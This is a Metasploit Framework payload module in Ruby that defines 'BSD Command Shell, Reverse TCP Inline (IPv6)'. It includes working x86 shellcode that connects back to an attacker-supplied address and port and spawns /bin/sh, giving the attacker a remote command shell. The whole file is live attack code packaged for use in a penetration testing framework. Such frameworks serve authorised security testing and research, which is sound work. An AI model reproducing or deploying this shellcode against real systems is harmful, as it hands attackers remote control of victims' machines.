##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 96

  include Msf::Payload::Single
  include Msf::Payload::Bsd
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'BSD Command Shell, Reverse TCP Inline (IPv6)',
        'Description' => 'Connect back to attacker and spawn a command shell over IPv6',
        'Author' => [ 'skape', 'vlad902', 'hdm' ],
        'License' => MSF_LICENSE,
        'Platform' => 'bsd',
        'Arch' => ARCH_X86,
        'Handler' => Msf::Handler::ReverseTcp,
        'Session' => Msf::Sessions::CommandShellUnix,
        'Payload' => {
          'Offsets' =>
                  {
                    'LHOST' => [ 42, 'ADDR6' ],
                    'LPORT' => [ 36, 'n' ],
                    'SCOPEID' => [ 58, 'V' ]
                  },
          'Payload' =>
                       "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" \
                       "\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" \
                       "\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
                       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x6a\x02" \
                       "\x59\xb0\x5a\x51\x57\x51\xcd\x80\x49\x79\xf6\x50\x68\x2f\x2f\x73" \
                       "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80"
        }
      )
    )
    register_options([
      OptInt.new('SCOPEID', [false, 'IPv6 scope ID, for link-local addresses', 0])
    ])
  end
end
